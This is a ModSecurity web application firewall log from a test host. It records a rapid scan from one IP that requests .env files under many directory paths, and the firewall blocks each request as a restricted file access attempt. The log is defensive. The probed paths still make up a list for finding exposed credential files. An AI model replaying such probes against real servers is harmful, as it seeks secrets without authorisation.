[Wed Feb 25 06:05:44.789456 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_AAAAAE&quot;]
[Wed Feb 25 06:05:44.795339 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OwAAAAM&quot;]
[Wed Feb 25 06:05:44.795576 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OwAAAAM&quot;]
[Wed Feb 25 06:05:44.795731 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6OwAAAAM&quot;]
[Wed Feb 25 06:05:44.815501 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v8.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_QAAAAE&quot;]
[Wed Feb 25 06:05:44.815727 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_QAAAAE&quot;]
[Wed Feb 25 06:05:44.815884 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_QAAAAE&quot;]
[Wed Feb 25 06:05:44.837221 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v9.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_gAAAAE&quot;]
[Wed Feb 25 06:05:44.837439 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_gAAAAE&quot;]
[Wed Feb 25 06:05:44.837591 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_gAAAAE&quot;]
[Wed Feb 25 06:05:44.878143 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/drupal-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_wAAAAE&quot;]
[Wed Feb 25 06:05:44.878434 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_wAAAAE&quot;]
[Wed Feb 25 06:05:44.878607 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp19_wAAAAE&quot;]
[Wed Feb 25 06:05:44.898974 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue/vuecli/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6PAAAAAM&quot;]
[Wed Feb 25 06:05:44.899279 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6PAAAAAM&quot;]
[Wed Feb 25 06:05:44.899458 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue/vuecli/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6PAAAAAM&quot;]
[Wed Feb 25 06:05:44.903600 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/integration/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp1-AAAAAAE&quot;]
[Wed Feb 25 06:05:44.903850 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp1-AAAAAAE&quot;]
[Wed Feb 25 06:05:44.904026 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp1-AAAAAAE&quot;]
[Wed Feb 25 06:05:44.930544 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/todo-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp1-AQAAAAE&quot;]
[Wed Feb 25 06:05:44.930832 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp1-AQAAAAE&quot;]
[Wed Feb 25 06:05:44.931012 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ6DKCn6hL63qXWzsp1-AQAAAAE&quot;]
[Wed Feb 25 06:05:44.999460 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vue_crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6PQAAAAM&quot;]
[Wed Feb 25 06:05:44.999761 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6PQAAAAM&quot;]
[Wed Feb 25 06:05:44.999961 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vue_CRM/.env&quot;] [unique_id &quot;aZ6DKLZegw_qLbSTRXm6PQAAAAM&quot;]
[Wed Feb 25 06:05:45.035036 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testwork_json/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-AgAAAAE&quot;]
[Wed Feb 25 06:05:45.035313 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-AgAAAAE&quot;]
[Wed Feb 25 06:05:45.035491 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-AgAAAAE&quot;]
[Wed Feb 25 06:05:45.057934 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-AwAAAAE&quot;]
[Wed Feb 25 06:05:45.058235 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-AwAAAAE&quot;]
[Wed Feb 25 06:05:45.058704 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ6DKSn6hL63qXWzsp1-AwAAAAE&quot;]
[Wed Feb 25 06:05:45.136255 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web-dist/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6PwAAAAM&quot;]
[Wed Feb 25 06:05:45.136541 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web-dist/.env&quot;] [unique_id &quot;aZ6DKbZegw_qLbSTRXm6PwAAAAM&quot;]
